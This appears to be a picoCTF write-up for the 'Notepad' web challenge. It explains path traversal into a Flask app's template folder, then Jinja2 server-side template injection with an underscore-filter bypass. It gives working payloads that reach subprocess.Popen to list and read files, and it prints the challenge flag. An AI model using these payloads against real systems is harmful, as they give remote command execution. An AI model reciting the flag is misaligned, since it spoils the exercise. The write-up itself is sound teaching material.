> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/notepad.md).

# Notepad

Detailed Walkthrough: will be added in 24 hours of writeup on medium!

<https://medium.com/@alhamrizvi.in/list/web-exploitation-picoctf-hard-f1416428808a>

The application is a Flask-based notepad where user input is saved as HTML files inside the `/static` directory. At first glance, it looks like a simple note-taking service, but the real issue lies in how templates are handled. The app uses Jinja2 and dynamically includes error templates using `{% include "errors/" + error + ".html" %}`, which means the `error` parameter controls which template gets rendered.

During recon, the key observation was that we could control file creation. Although files are intended to be written inside `/static`, path traversal allows writing into `templates/errors/`. This turns our input into a Jinja template instead of just a static HTML file. Even though we cannot directly access that file, we can trigger its execution by passing its name through the `error` parameter, forcing the server to render it.

This gives us Server-Side Template Injection. Since `_` is blocked, we bypass it by passing `__class__` and `__subclasses__` through query parameters and referencing them dynamically using `request.args.get()` inside the payload.

The core payload used to access Python internals is:

```
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]() }}
```

With:

```
?class=__class__&subclasses=__subclasses__
```

This exposes all subclasses in memory. From there, we locate `subprocess.Popen` (index 273) to achieve command execution.

To list files:

```
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]()[273](['ls'], stdout=-1).communicate() }}
```

This reveals the randomized flag filename.

To read the flag:

```
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]()[273](['cat','flag-c8f5526c-4122-4578-96de-d7dd27193798.txt'], stdout=-1).communicate() }}
```

Finally, the application returns the flag:

```
picoCTF{styl1ng_susp1c10usly_s1m1l4r_t0_p4steb1n}
```

The vulnerability chain is straightforward: arbitrary file write → template injection → SSTI → access Python internals → command execution → flag retrieval.


---

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